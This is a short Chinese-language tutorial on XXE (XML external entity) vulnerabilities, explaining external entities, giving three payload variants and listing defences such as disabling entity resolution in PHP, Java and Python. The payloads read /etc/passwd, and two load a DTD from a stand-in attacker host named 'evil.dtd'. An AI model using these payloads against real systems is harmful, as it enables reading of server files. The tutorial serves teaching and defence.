XXE 漏洞入门

什么是 XXE 漏洞

1.什么是 XML 外部实体

首先，我们先来了解一下实体的定义。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。

一个外部实体声明

语法：<!ENTITY 实体名称 SYSTEM "URI/URL">

例子：

DTD 文件中

```
<!ENTITY writer SYSTEM
"http://www.w3school.com.cn/dtd/entities.dtd">
```

XML 文件中

```
<author>&writer;</author>
```

2.什么是 XML 外部实体攻击

有了 XML 实体，关键字’SYSTEM’会令 XML 解析器从 URI

中读取内容，并允许它在 XML 文档中被替换。因此，攻击者可以通过实体将他自定义的值发送给应用程序，然后让应用程序去呈现。 简单来说，攻击者强制 XML 解析器去访问攻击者指定的资源内容（可能是系统上本地文件亦或是远程系统上的文件）。比如，下面的代码将获取系统上 folder/file 的内容并呈献给用户。

```
<?xml version="1.0"?>
<!DOCTYPE Rohit [
<!ENTITY entityex SYSTEM "file:///folder/file" >
]>
<abc>&entityex;</abc>
```

如何进行 XXE 攻击

方法一：直接通过 DTD 外部实体声明

XML 内容

```
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
```


方式二：通过 DTD 文档引入外部 DTD 文档，再引入外部实体声明

XML 内容：

```
<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://mark4z5.com/evil.dtd">
<c>&b;</c>
```
security.tencent.com

DTD 文件内容：

```
<!ENTITY b SYSTEM "file:///etc/passwd">
```
security.tencent.com

方式三：通过 DTD 外部实体声明引入外部实体声明

先写一个外部实体声明，然后引用的是在攻击者服务器上面的外部实体声明

XML 内容：

```
<?xml version="1.0"?>
<!DOCTYPE a [
    <!ENTITY % d SYSTEM "http://mark4z5.com/evil.dtd">
    %d;
]>
<c>&b;</c>
```
security.tencent.com

DTD 文件内容：

```
<!ENTITY b SYSTEM "file:///etc/passwd">
```
security.tencent.com

如何防御 XXE 漏洞

方案一、使用开发语言提供的禁用外部实体的方法

```
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
```

方案二、过滤用户提交的 XML 数据

关键词：<!DOCTYPE 和<!ENTITY，或者，SYSTEM 和 PUBLIC。